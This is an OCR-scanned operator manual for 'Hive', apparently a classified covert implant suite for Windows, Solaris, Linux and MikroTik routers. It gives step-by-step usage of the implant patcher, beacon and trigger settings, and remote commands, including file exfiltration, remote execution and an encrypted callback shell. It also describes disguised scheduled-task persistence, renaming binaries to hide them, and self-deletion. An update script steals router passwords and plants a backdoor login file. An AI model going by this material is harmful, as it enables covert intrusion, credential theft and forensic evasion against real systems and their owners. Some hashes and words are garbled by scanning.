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1 (U) Overview 

(S) Hive is a software implant designed with “Ring 2” operations in mind. It has two primary functions: 
beacon and interactive shell. By design, both are limited in features with the purpose of providing an 
initial foothold for the deployment of other full featured tools. 

(S) Hive provides implants for the following target operating systems and processor architectures See 
section 7 starting on page 17 for more details about available and tested versions. 


Platform 

Windows 2000 
Windows XP SP0-SP3 
Windows Server 2003 
Solaris SPARC 10 
Solaris SPARC 
Solaris SPARC 8 
Solaris x86 10 
Solaris x86 9 
Solaris x86 8 
MikroTik x86 4.x 
MikroTik x86 3.x 
MikroTik MIPS-BE 4.x 
MikroTik MIPS-BE 3.x 
MikroTik MIPS-LE 4.x 
MikroTik MIPS-LE 3.x 
MikroTik PowerPC 4.x 
MikroTik PowerPC 3.x 
Linux x86 


V2.6.2 

V2.6.2 


V2.6.2 

V2.6.2* 


* Linksys WRT54G flashed with DD-WRT v24sp2 used as surrogate for testing MikroTik MIPS-LE 
binaries. No actual RouterBoard (i.e. MikroTik) hardware was used. 

(S) The Hive release consists of the following files along with the unpatched binaries. 


Filename 

Function 

css.xml 

XML file for cutthroat's custom command set. 

cutthroat 

Standardized interface for operators to run hclient. 

hclient 

Linux executable. Used to send triggers to and interactively communicate with the 
Hive implants. Has not been updated since Hive vl.X, but most implant features 
still work with it. 

hive 

Cutthroat ILM (i.e. module, shared library object). Provides the client functionality 
to send triggers to, and interactively communicate with, the Hive implants. 
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Filename 

Function 

hive-patcher 

Linux executable. When run, it produces executables with command line 
parameters patched-in. 

hiveResetvlO.py 

Python script for updating existing hive implants on remote boxes with a more 
recent version. 

honeycomb.py 

Linux executable. Tool handler for Hive beacons. HTTPS beacons validated by 
Swindle are passed to Honeycomb. Honeycomb receives and logs the beacons. 

swindle.cfg 

ASCII text file. Hive beacons use Loki's Blot DP/LP. Swindle is the HTTPS proxy 
that verifies the beacons before forwarding to the tool handler. 


(S) Below is the list of files included in this release, along with their size and MD5 hashes. 


Filename 

File Size 
(bytes) 

MD5 Hash 

CCS . xml 

490235 

Idd06dd5b74ceb7cab9b599a22f 99975 

cutthroat 

1095780 

caba38dc033c86f5f9daa837dfe4c2fa 

hive 

670859 

2l6f0da2dca5lfb33O44e5b525db45a3 

hive-patcher 

1368840 

dee62bac8aa66f6a309c2bblc675c3e0 

hiveReset_vl_0 . py 

60292 

d3l53e378e24f4bed0ceddfcab599fb8 

honeycomb . py 

15500 

5ef 80df 352e52el91556663c0bcc3059 

swindle . cf g 

680 

3b9185be038c826c39734flbe273b37f 

Unpatched Binaries 

hived -linux-i386- unpatched 

165280 

a7729c8b0c5flb0f3bcl888a43be3525 

hived -mikrotik-i386- unpatched 

163426 

7905ecba0e020fe8883099fb45ff2e50 

hived -mikrotik-mipsbe- unpatched 

234944 

e74ad934f f 90aa2354d3874009563343 

hived -mikrotik-mipsle- unpatched 

235307 

4f2d7d2e817684a21f2de8315c2d9eb3 

hived -mikrotik-ppc- unpatched 

175812 

0806e664lcafeOl4266d30eeld4b37ef 

hived- Solaris -i386- unpatched 

174764 

3adb8dfaf459948a0eea6a9439396059 

hived -Solaris -spare -unpatched 

207720 

aa853024ec50b914c3cb3717b36d7e5c 
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2 (U) Pre-Deployment 

(S) Before initial deployment, Loki's Blot/Swindle must be set-up with Hive's Tool ID (0x65ae82c7) to 
proxy connections to the Honeycomb tool handler. Honeycomb can reside on the same server as Swindle 
but it is strongly recommended that it be deployed on a different server. Honeycomb acts much like a 
traditional iterative server that handles incoming beacon connections one-bv-one . After the implant is 
validated by Swindle, the implant traffic is re-routed directly to Honeycomb. Honeycomb then 
establishes an encrypted session with the implant. Swindle continues to proxy the encrypted network 
packets. 

2.1 (S) Swindle 

(S) Loki documentation covers the procedures for setting up a Blot DP/LP with Swindle, as such 
procedures are beyond the scope of this document. Hive provides a sample Swindle configuration file 
(swindle. cfg) to be saved to /etc/blot/ on the Swindle server. Restarting Swindle (service 
swindle restart) will re-read the configuration file. The Hive project made no changes to the Swindle 
binaries or server and aims to fully conform to the existing Swindle protocols and procedures. In the 
Swindle configuration file, the most important parameters are the IP and port for the tool handler (e.g. 
Honeycomb) and the Hive Tool ID. 

2.2 (S) Tool Handler 

(S) Honeycomb is a server application that handles the beacons proxied from Swindle. The Honeycomb 
server can be configured to start the tool handler automatically at system start (via the /etc/init .d or 
/etc/rc. local scripts). 

Honeycomb accepts the following command line options: 

python2 honeycomb . py [-p <port>] [-f <file path>] [-1 <log path>] 

where: 

<port> is the port that honeycomb will listen on for proxy connections coming from Swindle. 

<f ile path> is the location where beacon rsi files will be written. 

<log path> is the location where beacon log files will be written. 

(S) Upon receiving a beacon, Honeycomb will parse-out the MAC address, public IP address, and 
uptime of the implanted box. Honeycomb will then write out a ".rsi" file that is one-way transferred for 
ingestion into Ripper Snapper. The implant ID used in the Ripper Snapper files is the unformatted MAC 
address of the implanted box. As of Hive 2.0 additional survey data are collected from the beacon. 
Additional information on this data can be found in section 3.1. 

(S) Hive v2.0 functionality was added to Honeycomb so that it will keep a basic log of beacons that are 
received. Every beacon will have a log entry created that contains a timestamp of when the beacon was 
received, the MAC address, public IP address, and the version of the implant that beaconed. In addition, 
for Hive v2.0 beacons and later, there will be a flag related to which OS the beacon came from. 
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2.3 (S) Patcher 

(S) hive-patcher patches parameters into the implant binaries to reduce the implant's footprint on 
the target. The patcher “gives birth” to the implant binaries. In other words, the patcher creates the 
needed binaries for the operator without requiring a pre-existing reference executable. The patcher will 
create patched versions (with the string “PATCHED” in the file name) in the current working directory 
from where the patcher is run. Hive implants are not required to be patched, as the implants will still use 
command line arguments. However, in the case where the Hive implant is patched AND the operator 
passes it runtime arguments, the implant will only use the patched arguments. Except for the '-m' option, 
the patcher and the implant accept the same options. 

./hive-patcher -a <addr> [-p port] [-d <b_delay>] [-i <interval>] \ 

[-j jitter] [ — s sd_delay] [-t <t_delay>] [-1 <interface>] \ 

[-m <OS>] 

where: 


<addr> is the IP address or hostname of beacon server, that is, the Swindle proxy. 

<port> is the (optional) beacon port. Default is 443 for HTTPS which is the protocol the Hive 
implants and Swindle emulate. 

<b_delay> is the initial delay (in seconds) before the first beacon is sent. If b delay is 0, then 
beacons will be disabled. 

<interval> is the beacon interval or sleep time between beacons (in seconds). 

<jitter> is the beacon jitter (as a percentage). That is, the amount of beacon variation as a 
percentage of current beacon interval. 

<sd_delay> is the self delete delay (in seconds). Amount of time since last successful beacon or 
trigger allowed to pass before self-deletion occurs. If unused, the default value is 60 
days in seconds. 

<t_delay> is the (optional) delay (in seconds) between trigger received and callback +/- 30 
seconds. 

<interface> (Solaris only) The interface on which to listen for triggers. Usually something like 
“hmeO” or “elOOOgO”. Required option for Solaris, but ignored for Windows, Linux, 
and MikroTik. 

<OS> is the target operating system. Patch parameters into this type of executable. Options are 
'all', 'raw', 'win', 'mt-x86', 'linux-x86', 'sol-x86', or 'sol-sparc'. 'all' is the default, 'raw' 
provides all binaries but unpatched versions. 


Examples: 

(S) Patch Windows executable to beacon to 10.3.2.169:443 every hour, with 5% beacon jitter 
variance, after default initial delay using: 

./hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m win 
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(S) Patch Solaris SPARC executable to beacon to 10.3.2.169:443 every hour with initial delay of 
one hour using interface hmeO with: 

. /hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -I hmeO -m sol-sparc 

(S) NOTE 1: Change the name of the resulting executable into another name that would be consistent 
with hiding it on the target system before deployment. Record the new name so you can use it for future 
reference as required. 

(S) NOTE 2: The patcher will support hostnames up to 256 characters long. 

2.4 (S) SSL Certificates 

(S) The implant communicates with the Hive client using SSL connections. Three files, server.crt, 
server key and ca.crt, must be installed in the same directory as the client and must have read 
permissions set so they can be accessed by the client. Communications with the implant will fail if 
any one of these files are missing or invalid. (For an example see section 5 on page 15.) 
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3 (U) Deployment 

3.1 (S) Beacons 

(S) Patched or unpatched implants are provided by the generator application. In the case of unpatched 
implants, the implant is started on target using the same command line arguments as the patcher, less the 
patcher's '-m' option (see Section 2.3). The Solaris, Linux, and MikroTik implants will detach from the 
user's terminal and fork into the background. The Windows implant will attempt to establish a basic 
level of reboot persistence by creating a hidden task, which will have a filename of 
SystemRestorePoint . j ob, in the Windows Task Scheduler. This task will restart the implant upon 
system startup as the SYSTEM user. Windows persistence will only be setup if the implant has been 
patched . 

(S) The goal is for the operator to have a consistent user experience, regardless of the implant's operating 
system. On the wire, the implant mimics a SSLv3 handshake with Swindle (LP) and then sends a small 
amount of encrypted data to the tool handler. The encrypted beacons consist of the Swindle Tool ID, 
system uptime, and MAC address*. Hive version 2.0 added additional survey information to the beacon. 
This data includes a process listing, ipconfig/ifconfig, "netstat -m", and a "netstat -an". In the event the 
survey fails, the RSI file will show an empty data element in the XML. 

♦NOTE: (S) The Windows implant pulls the MAC address from what the O/S thinks is the “primary” 
network interface. The Solaris implant attempts to pull the MAC address first from an interface named 
hmeO and then el OOOgO regardless of whether those interfaces are configured, active, or not. Similarly, 
the Linux and MikroTik implants use the MAC assigned to the ethO interface. At this time, the MAC 
address is used only as a unique identifier for tracking implants. 

(S) The beacon parameters ca nn ot be changed dynamically by the hive tool handler. To change the 
beacon parameters, the implants need to be re-patched with new parameters and re-deployed, or in the 
case of unpatched implants, they need to be restarted with new command line arguments. 

3.2 (S) Triggers 

(S) The Hive client establishes an interactive session with the implant by sending it a trigger. Hive 
versions 1.0 through 2.6.2 support the following seven trigger types: 

ICMP: ping-request, ping-reply, icmp-error 
UDP: dns-request, tftp-wrq, raw-udp 
TCP: raw-tcp 

(S) To use the ICMP based triggers, the operator must execute the Hive client with root privileges. The 
icmp-error and UDP triggers are a single packet. After the TCP handshake, the raw-tcp trigger is a single 
packet. The two ping triggers - ping-reply and ping-request - are a series of 5-6 packets with data 
encoded in each. All packets in the sequence must be received for the trigger to work. 

(S) The raw-udp trigger can be sent to any UDP port on the target system. The raw-tcp trigger can be 
sent to any open and listening port on the target system. 
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(S) During preliminary developer testing, it was discovered that some ISPs may block, as a matter of 
policy, ICMP error packets. Your mileage may vary. However, the developers also discovered that the 
Windows firewall setting ON with no exceptions blocks all triggers except the icmp-error triggers. 
[Note: Cisco ASA default policy is to drop ICMP error and IV&V results were contrary.] 

(S) The Hive implant watches for trigger packets in the incoming flow of network traffic. This “sniffer” 
behavior is slightly different on each operating system. On Windows, Hive listens for traffic only on the 
network interface the operating system deems is the “primary network interface.” On Solaris, the user 
must specify which single interface to sniff via either the patcher or the command line using the - 1 
switch. On Linux and MikroTik, Hive listens on all physical interfaces. 

(S) Once the implant receives a valid trigger, it pulls the callback IP address and port from the trigger 
packet, waits a default delay, and then calls back to the listening Hive client. Once connected, the 
implant and Hive client perform a TLS handshake and initialize an AES encrypted session. See (U) 
Appendix A: Idiosyncrasies & Limitations on page 16 for special situations. 

3.3 (S) Clients 

3.3.1 (S) hclient 

(S) The Hive client has been designed so that triggers can be sent from one Hive client and callbacks 
caught with another. Or, if preferred, triggers from and callbacks to the same Hive client (default). This 
behavior is configured via the Hive client command line as detailed here. 

To listen only: 

. /hclient-linux -p <port> 

To trigger only or trigger & listen: 

./hclient-linux -p <port> [-t <target IP>] [-a <listener IP>]\ 

[-P <protocol>] [-r <raw port>] [-m <mode>] [ — h ] 

where: 


<port> 
<target IP> 
<listener IP> 
<protocol> 

<raw_port> 

<mode> 

-h 


is the callback port. 

is the IP address of target (required for triggers), 
is the IP address of listener (required for triggers). 

is the trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply, ping-request, 
raw-tcp, or raw-udp (required for triggers). 

is used when using raw triggers. This specifies on which port to send the trigger, 
(required for raw triggers) 

tells the client to listen-only (1), trigger-only (t), or both (b). Both is the default, 
prints the usage. 
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(S) Once connected, the Hive client provides an interactive session with basic functions. "Old school" 
operators will recognize the Hive client - it is essentially the same interface with commands used by the 
Forklift tool. 


(S) List of allowable commands: 

execute | exec | exe 
upload | ul | up 
download | dl 
delete | del 
exit | q 

shutdown | shut 


help 


execute an application on the remote computer 
upload a file to the remote computer 
download a file to the local computer 
delete a file on the remote computer 

close the TCP connection but keep the server running on the remote 
computer 

for the Windows implant, closes the TCP connection and stop the server 
running on the remote computer. This DOES NOT uninstall or delete the 
implant. See NOTES below for details. For the *nix implants, same as 
exit. 

display help information 


(S) Examples of command usage: 

. /hclient-linux> exec cremote application name> 

. /hclient-linux> ul clocal src filename> <remote dest filename> 

. /hclient-linux> dl <remote src filename> clocal dest filename> 

. /hclient-linux> del cremote filename> 

. /hclient-linux> exit 
. /hclient-linux> shut 
. /hclient-linux> help 

. /hclient-linux> exec "rm -f filename" 

. /hclient-linux> exec "del filename" 

(S) NOTE: The secure shell is not supported by hclient. 

3.3.2 (S) Cutthroat/Hive-ILM 

(S) The same hclient functionality described in Section 3.3.1 is available as a Cutthroat Implant Library 
Module (ILM). Cutthroat is the standardized management interface for controlling the Hive implants, 
versus the executable hclient-linux binary. You should verify that your version of cutthroat is operational 
by entering the co mm and “ . / cutthroat”. To use cutthroat with Hive, you must also have hive (the 
implant library module) and CCS . xml installed in the same directory as cutthroat. To start the Hive 
implant library module, you must first enter the following commands: “./cutthroat hive” or 
“./cutthroat” followed by “load hive”. It should be noted that two of Cutthroat's 
commands, verbosi ty and mode are not used by the Hive implant and should be ignored. 
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(S) If the Hive ILM loads, the operator will see a “ [success] Successfully loaded hive 
[load] ” message followed by cutthroat's standard greeting which includes cutthroat's version number 
on the computer terminal. The operator may hit the “tab” key at any time to see a list of available 
commands for the operator to select while operating cutthroat. 

(S) Warning: When using two clients to separately handle trigger and listen, the operator should 
start the listener first. The operator should assume failure unless the operator receives a “Success” 
message via the cutthroat interface. 

(S) NOTE: When the target is a Solaris platform, do not close any shell until the end of the session. If 
you do, you must retrigger the device to use any trigger commands (e.g. upload, download, etc.). The 
ILM reminds the user with the following note: 


NOTE FOR SOLARIS ONLY: Keep all shells open until you are done. 
Once you close any Solaris shell, the trigger will appear normal 
but is no longer connected. In this case, you must quit the 
trigger and retrigger the device. 

3. 3.2.1 (S) Disconnected State 

(S) While in a disconnected state, the following commands are available: 
ilm trigger send trigger to remote host 
ilm listen listen for reverse connect from remote host 
ilm connect combines functions of trigger and listen, 
quit exits the cutthroat application 
verbosity unused 
mode unused 


3. 3.2.2 (S) Disconnected State: Cutthroat Listener 
(S) To start the listener, enter: 

ilm listen <port number> 

where <port number> is any number from 1 through 65535. For example, if the operator enters “ilm 
listen 45 67”, they should observe the following message “Listening for connection on 
port 4567 . . .”. 

(S) The listener will continue listening on the assigned port until it receives a response from the implant 
or the operator kills the current process. 

3. 3.2.3 (S) Disconnected State: Cutthroat Connect 

(S) The connect option combines the functionality of the trigger and listen options. Connect is called in 
the exact same way as trigger, with the use of a trigger fde being it's only parameter: 

ilm connect <triggerFileName> 

See the section 3. 3. 2.4 for details on how to create a trigger file. 
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3. 3.2.4 (S) Disconnected State: Cutthroat Trigger 
(S) To start the trigger, enter: 

ilm listen <triggerFileName> 

where the <triggerFileName> is the name of any file in the directory where cutthroat is running. If the 
trigger file does not exist, the requested trigger file will be created and the operator will be prompted for 
the following information: 


Listener's IP Address 
Listener's Port Number 
Target IP Address 
trigger protocol 


IP address used by the implant to connect back to the Listener. 

Open port on the Listener waiting for the implants callback 

IP address where the implant is currently installed. 

trigger protocol: dns-request, tftp-wrq, icmp-error, ping-reply, 
ping-request, raw-tcp, raw-udp (Required for triggers.) 


raw port Raw Port number in the range of 1 through 65535 where the raw-tcp or 
raw-udp trigger will be sent. For all other trigger protocols (i.e. 
dns-request, tftp-wrq, icmp-error, ping-reply, ping-request), this should 
be set to -1. 


(S) The trigger file will contain each of the previously defined parameters separated by a '|' between each 
field. A sample of the first line of a sample trigger file is shown below: 

10.3.2.141 | 4567 | 10.2.5. 99 | dns-request | -1 

where the listener's IP address is 10.3.2.141, listener's port number is 4567, the Implant is running on a 
target host with IP address of 10.2.5.99 and a dns-request protocol type will be used to trigger the 
implanted device. Note that since a dns-request protocol is being used, the raw port is set to -1. 

(S) If the trigger file does exist, the operator should see a message of the parameters used for the trigger 
displayed on the screen as well as a “The trigger was sent.” message, along with a success or failure 
status. NOTE: A “success” at this point only means that a trigger was sent. 

(S) If everything worked, the listener should receive a callback from the implant based on implant's 
configured trigger delay. The client is now in a connected state and different command line options are 
available in cutthroat. 

(S) NOTE: The operator should verify that the “[<implant IP address>]” prompt within the 
listener actually displays the intended target's IP address. It has been noted that other implants 
that also receive the trigger packet may attempt to respond, thus creating a race condition where 
the first device to respond will usually receive the connection. 

3. 3.2.5 (S) Connected State 

Once the cutthroat client is connected to the implant, additional commands will be available for control 
of the implant. Below is the list of available commands: 

cmd exec execute an application on the remote computer. As an argument, enclose the 
command to execute in double or single quotes. See example below. 
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file put upload a file to the remote computer. Requires 2 arguments: source and destination 
filenames. NOTE: Be sure the target has sufficient space for the file, as Hive 
does not currently provide any indication of an unsuccessful transfer due to 
insufficient space on the filesystem. 

file get upload a file to the remote computer. Requires 2 arguments: source and destination 
filenames. 


file delete delete a file on the remote computer. Requires 1 argument: filename. 

ilm exit close the Listener's TCP connection, but keep the server implant running on the 
remote computer. Cutthroat application stays open. Same as shutdown now. 

quit close the Listener's TCP connection, but keep the server implant running on the 
remote computer. Cutthroat application will also close. 


shutdown now close the Listener's TCP connection, but keep the server implant running on the 
remote computer. Cutthroat application stays open. Same as ilm exit. 

shell open open an encrypted shell with the client (as a separate process). Takes three 

parameters in the following order: client IP address, client port number, and a 
password that initializes the Twofish symmetric cipher. See the example below. 
Hive v2.6.2 supports the encrypted secure shell on all devices. 

NOTE: This shell will remain open and connected to the target host until 
exited even if the ILM client is exited. 


(S) Examples of command usage: 

[ 10 . 2 . 5 . 22 ] > cmd exec "/path/to/file argl arg2" 

[ 10 . 2 . 5 . 22 ] > file delete /path/to/file 

[ 10 . 2 . 5 . 22 ] > file get /path/to/remote/file /path/to/local/file 

[ 10 . 2 . 5 . 22 ] > file put /path/to/local/file /path/to/remote/file 

[ 10 . 2 . 5 . 22 ] > ilm trigger /name/of /trigger/file 

[ 10 . 2 . 5 . 22 ] > ilm exit 

[10.2.5.22]> shutdown now 

[ 10 . 2 . 5 . 22 ] > shell open 192.168.1.100 4444 Passwordl 

3.3.3 (S) Client Operational Notes 

(S) The following topics are common to both hclient and ILM clients. 

33.3.1 (S) File Deletion 

By default, the delete command will attempt a secure delete and overwrite the named file with zeros 
before deletion. If the secure delete fails, it will return an “unsuccessful” status to the Hive client. If the 
secure delete fails, the operator should then try to execute an “exec” command with either an 
“rm -f <filename>” or a “del <filename>” command for Unix or Windows implants, 
respectively, as shown in the examples in sections 3.3.1 and 3. 3.2. 5 above. 
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3.3.3.2 (S) Default File Permissions 

On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. 
After uploading an executable, and before executing it, make the file executable by using Hive to 
execute chmod a+x <filename>. 

3. 3.3. 3 (S) Shutdown Command 

The shutdown command only causes the implant to stop running its current instance. This means that 
when the target is rebooted, the implant will restart. The shutdown co mm and does not delete the implant 
or uninstall it from the boot-time start-up routines. Using a Windows target as an example, one potential 
work-around is to establish a Hive shell session and use 'exec schtasks' to delete the hidden task 
SystemRestorePoint which is the cover task that starts Hive at boottime. 

3. 3.3. 4 (S) Connection Timeouts 

Currently all versions are able to recover from the loss of connection between implant and client. This is 
achieved by Hive spawning off a separate process to handle each triggered connection on Unix 
platforms and spawning off separate threads on Windows. This also allows multiple connections to the 
same implant. There are currently two timeouts enabled on these connections. The first is a connect 
timeout. If a Hive implant is unable to connect back to the client after 5 minutes, the connection 
will kill itself. Hive will also kill the connection to an implant after 60 minutes of inactivity. 
Currently, there is no notification in the client that a connection has been closed; however, when the next 
command is entered the client will report that the command can not be completed. 

3. 3.3. 5 (S) Windows Secure Shell Tradecraft 

When the secure shell command is called, it will write out the shell to disk and then spawn off a new 
process for the secure shell. The secure shell will be called whatever Hive is called plus "32.exe". It will 
be executed in the same directory as Hive. The secure shell will also self delete once it is finished with 
execution by a self deleting the . cmd file that is called "~mstemp . cmd . " This cmd will only be on 
the system for a matter of seconds. 

3.4 (S) hiveReset vl O.py 

(S) Since Hive has been installed and used on such a wide scale, an update capability was provided for 
updating the Hive implants on remote boxes. This script requires Python 2.7 with a “pexpect” 
module/capability. It is expected that Cutthroat and the Hive ILM also be located in the same directory 
as the hiveReset_vl O.py script. To update a remote box, you must first have the following 
information: 

Old implant file name Name of Hive implant currently running on the remote box. 

Installation directory full path name that starts and ends with a where the old Hive implant is 
currently installed (e.g. /rw/pckg/). 
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Operating System Mikrotik MIPS LE, Mikrotik MIPS BE, Mikrotik PPC, Mikrotik x86, Solaris 
spare, Solaris x86, Linux, or Windows. NOTE: An update capability for 
Microsoft Windows does not exist at this time. 


Full busybox name For Mikrotik routers only. Includes the lull path prefix with busybox name 
(e.g. /rw/pckg/busybox). 

New Hive implant name New Hive implant filename that was just created using the hive-patcher 
program specified above. 

Cutthroat parameters Callback IP and port, trigger type, remote IP (box with Hive implant that will 
be updated), etc. as specified above. 


(S) After the operator has determined all the above parameters and has the necessary files (new Hive 
implant, Cutthroat, and Hive (ILM)), the operator may update a box using the following command: 

hiveReset_vl_0.py [-s, -b] -f <Conf iguration File name> 

where the -s option means only a single box will be updated and the -b option refers to a batch process 
where multiple boxes are updated. Note that the user may also use a -h option to display a usage 
statement. If the configuration file does not exist, just give it a new name and it will be created after the 
operator has answered a variety of questions. 

(S) This same configuration file, can be used to update multiple Hive implants as long as they have the 
same configuration. For example if two boxes with IP addresses of 10.1.2.3 and 10.3.2.1 respectively 
are running an old Hive implant (same name) in the same installation directory (same full path name) 
with the same busybox name “e.g. /rw/pckg/busybox” both boxes could be updated using the following 
command: 

hiveUpdater .py -b -f <Conf iguration File name> 

where the Configuration File contains a line for the target File which contains the IP address of each box 
being updated. In this case, “10.1.2.3” and “10.3.2.1” would both be on a separate line. Note that this 
list may contain multiple target IP addresses, but all the Hive Updater Configuration settings contained 
within the configuration file must be the same. Note that once these files are created, they may be used 
again for all future updates as long as the parameters remain the same. 

(S) Note that this python script also contains a reset option which will reset the /var/.config timer file for 
all linux, Mikrotik, and Solaris boxes. This reset script was also modified to retrieve passwords and 
create one directory on all Mikrotik devices per guidance from COG based on their standard exploits. 
Passwords contained in the /nova/store/user.dat and the /rw/store/user.dat files are stored in a 
pA.IPAddress and pB.IPAddress files respectivly for Mikrotik devices. The reset capability will also 
create a /nova/etc/devel-login file that is used by COG to exploit the targeted device. 

(S) It has been noted that this same update capability can and will be upgraded/expanded in future 
versions of Hive to install other modules and tools for target exploitation in an automated fashion. 
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4 (U) Post-Deployment 
4.1 (S) Self-Delete 

(S) Self-delete was first added to Hive in version 2.2 and is used to ensure that any Hive implant that 
lays dormant (has not beaconed successfully to its designated LP or has not been triggered from a 
command post) for a predetermined amount of time effectively destroys itself with the only remnant 
being a “configuration file” (.config) and a log file (.log) left behind in /var directory. During normal 
operation the .config file is empty, with its last modified time indicating the time of last contact - either 
from a beacon or a trigger - and the .log file is non-existent. When self-delete executes, the Hive binary 
is deleted from the host and the .log file is created with a time stamp inserted into it using the format 
yymmddHHMMSS. (The time stamp inserted into the file should match the last modification time of the 
file.) On Linux and MikroTik, the implant will overwrite the binary on the filesystem with zeros. On 
Solaris, a self deleting shell script is created at "/tmp/.configure.sh". This shell script will delete the Hive 
binary from disk and then delete itself. 

NOTE for Windows Only: In older versions of Hive, a hidden file named uninstallreadme.txt is 
created in the "C: \windows ” directory. The implant deletes the timer file and then creates a self- 
deleting ".bat" file to delete the binary from disk. 

(S) The decision to self-delete is determined by the difference between the system time and the last- 
modified time stamp on the configuration file. Whenever the system time exceeds the time stamp on the 
configuration file by more than the delete delay, Hive will self-delete. It is important to note that the 
system time on implanted devices may vary widely depending upon the environment. Consequently, the 
simple act of correcting the date/time on the device by a system administrator could result in self- 
deletion. 
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5 (U) Troubleshooting 

(S) Below is an example two ILM client sessions, the uncolored area being common to both. The light 
green section shows a good connection, the light yellow a bad connection that was caused by using an 
SSL certificate chain ( ca.crt ) that doesn't match the server certificate (server. crt). 


root@ kubuntu- 11 : ~/hive# ./cutthroat ./hive 
[success] Successfully loaded ./hive [load] 

CutThroat 
JY008C634-6 
Version: 2.2 
CCS Version: 2*2 

Usage : 

verbosity <level> 
mode knew mode> 
load <ILM Filename> 
quit 

> ilm connect dns 
Listening for connection on port 8123 . . . 

Trigger details: 

. Remote IP address 10.6.5.190 with dns-request trigger 
. Callback IP address 10.6.5.195 on port 8123 

Trigger sent. 

. . . connection established! 

Connection details: 

. Remote IP address 10.6.5.190 on port 42146 
. Local IP address 10.6.5.195 on port 8123 


Sets the verbosity level 
Sets the operating mode of CT 
Loads the library 
Exits Command Post 


Enabling encrypted communications: 
. TLS handshake complete. 

[Success] 

************ success ************ 
[ilm connect 10.6.5.190] 


Enabling encrypted communications : 

> Error: Certificate chain verification failed: NOT TRUSTED 
* Error: TLS connection with TLS client failed to initialize. 
[Local Failure] 

************ Local Failure ************ 

[ilm connect dns] 
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6 (U) Appendix A: Idiosyncrasies & Limitations 

(S) On Windows, the operating system resets the uptime to zero after the system has been up for 49 
days. Currently, there is no current mechanism available to differentiate between a “rollover” (i.e. 
system up longer than 49 days) and an actual reboot. 

(S) On Solaris or Linux, executing a GUI program without backgrounding the process (using an 
ampersand on the command line following the command) may cause the interactive session to hang. 
Generally, it is probably a bad idea to execute a GUI program on your target anyway. 

(S) On Solaris, Linux, and MikroTik, files uploaded are written to the remote system with 644 
permissions. After uploading an executable and before executing it, make the file executable by using 
Hive to execute chmod a+x <filename>. 

(S) The patcher will support hostnames up to 256 characters long. 

(S) MikroTik systems store DNS configuration in a proprietary format. Even if the MikroTik is 
configured with DNS server(s), the MikroTik system libraries don't know how to read it. Therefore, 
Hive cannot resolve hostnames. The operator could enable DNS by creating the /etc/resolv.conf file and 
marking it as executable. The following example uses Google's public DNS server: 

echo "nameserver 8. 8. 8. 8" > /etc/resolv.conf && chmod a+x /etc/resolv.conf 

(S) The implant sniffs all traffic it can see, looking for a valid trigger. For example, if there are multiple 
hosts on a hub (not a switch), a trigger packet sent to a non-implanted host will be seen by the implant 
and cause a callback. Similarly, if there are multiple implanted hosts on a hub, then a race condition 
exists. The host implant responding first will typcially get the connection. This can also have other 
ramifications. For example, if the border router is implanted, as well as others deeper in the target 
network, all triggers sent to any host (implanted or not) in that network will be first seen by the border 
router and the operator will receive a callback from the Hive implant on the border router. 

(S) To verify secure delete on Solaris, one must first unmount the partition. 

(S) If the system time on target is reset or advanced 60 days into the future, the Hive implant will 
self-delete itself. Also if the target machine is down for 60 days, the implant will self-delete itself on 
startup. 

(S) Hive on Windows 2000 may have issues receiving UDP type triggers due to a bug in the O/S 
(reference Windows Hotfix: support.microsoft.com/kb/890856). 
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7 (U) Appendix B: Release Notes 

This section is classified SECRET//NOFORN in its entirety. 

V2.6.2 01/13/2014 

• Uses polarssl havege code to produce random numbers versus /dev/random or /dev/urandom 
because at reboot, MikroTik devices exhibited similar random number sequences. This resolves 
the issue of the LP seeing what it believes to be a TCP replay attack for MikroTik devices by 
properly seeding the random number generator in the implant for all architectures. 

V2.6.1 03/15/2013 

• Removes string definitions used to obfuscate debug code that was not needed in Hive releases, 
but that could be revealing if found. 

V2.6 01/30/2013 

• This release of Hive primarily addresses forensic issues discovered by a forensic analysis 
performed by IOC/AFD on Hive version 2.5 and documented in their report from October 26, 
2012 (AFD-2012-0973-2). Hive 2.6 changes the common trigger encoding along with the 
encoding scheme for raw TCP and UDP triggers. 

• The SSL server certificates used with the Hive client (command and control) are now read from 
files rather than being hard-coded into the client. In addition, the Diffie-Hellman paramters used 
to establish the SSL connections have been changed. 

V2.5.2 12/06/2012 

• Fixes a bug in the 2.5 code that was also carried into 2.5.1 that may lead to premature self- 
deletion of the implant. 

V2.5.1 11/29/2012 

• Modifies all mikrotik, linux, and Solaris code so any successful beacon or trigger will also create 
a /var/.config timer file if it does not already exists. Note that the trigger listening function will 
automatically self delete the executable if it discovers that the /var/.config file does not exists. If 
a self delete occurs, the normally empty /var/.config will contain a time stamp when the actual 
self delete occurred using a yymmddHHMMSS format. Previous versions would allow the 
executable to stay on the box but would stop the process whenever the /var/.config file was 
removed. Version 2.4's Caution for Solaris shells still applies. A new Hive updating script called 
hiveReset vl O.py was added which also resets the self-delete timer for all linux, Mikrotik, and 
Solaris devices. 

V2.5 06/20/2012 

• Allows operator to change the self delete timer from the previously hard coded setting of 60 
days. The delay option unit was changed to long versus int to enable longer delays before the 
first beacon. A hiveUpdater.py script was added to allow remote updates of Hive implants for 
Linux, Solaris, and Mikrotik routers. Version 2.4's Caution for Solaris shells still applies. 
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V2.4 03/05/2012 

• Allows full shell open capability for all boxes. Solaris boxes are cautioned to close any shells 
they open at then end. Otherwise, when a Solaris shell is closed, the trigger session is also 
closed. This code should remove Mikrotik "spillage" problems in beacons. Setting the beacons 
initial delay with the -d option (i.e. -d 0 ) also stops all beacons. 

V2.3.1 01/23/2012 

• Added support for Windows 2000. 

• No change to *nix binaries. 

V2.3 12/12/2011 

• All implants updated to include support for beacon jitter and compresssed beacons. 

• Beacon code was significantly re-worked as part of the beacon jitter and compression features. 
The hope is that this also fixes the non-parsable characters that sometimes are sent by MikroTik 
implants (i.e. "spillage"). 

• Secure shell functionality was added to the following supported platforms: 

$ Windows (all) 

0 Linux x86 
° MikroTik (all) 

° Solaris SPARC 9-10 

• With this release, secure shell does not work on the following platforms: 

P Solaris SPARC 8 

® Solaris x86 8-10 

To use the secure shell functionality, users must use the updated Hive ILM module that 
provides this command. The Hive vl.O hclient continues to work with other features, but was 
not updated to support the new secure shell functionality. 

V2.2 08/22/2011 

° Updated Windows with the Trigger hanging fixes from 2.1. 

° Windows can now handle multiple triggered connections at once. 

4 All platforms will now self-delete themselves after 60 days of no contact 
